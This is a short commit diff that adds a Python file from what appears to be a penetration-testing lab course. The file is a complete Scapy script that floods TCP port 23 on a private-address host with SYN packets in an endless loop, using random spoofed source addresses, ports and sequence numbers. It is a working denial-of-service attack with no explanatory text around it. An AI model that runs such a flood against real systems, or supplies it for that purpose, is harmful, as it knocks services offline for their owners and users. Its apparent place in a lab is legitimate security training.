refactored. 01-02-03 done

02-pentest/01-network/01-tcpip/02-tcp/volume/opt1.py

@@ -0,0 +1,15 @@
+#!/usr/bin/python3
+
+from scapy.all import IP, TCP, send
+from ipaddress import IPv4Address
+from random import getrandbits
+
+ip = IP(dst="10.3.0.4")
+tcp = TCP(dport=23, flags='S')
+pkt = ip/tcp
+ 
+while True:
+    pkt[IP].src = str(IPv4Address(getrandbits(32)))
+    pkt[TCP].sport = getrandbits(16)
+    pkt[TCP].seq = getrandbits(32)
+    send(pkt, iface = 'eth0', verbose = 0)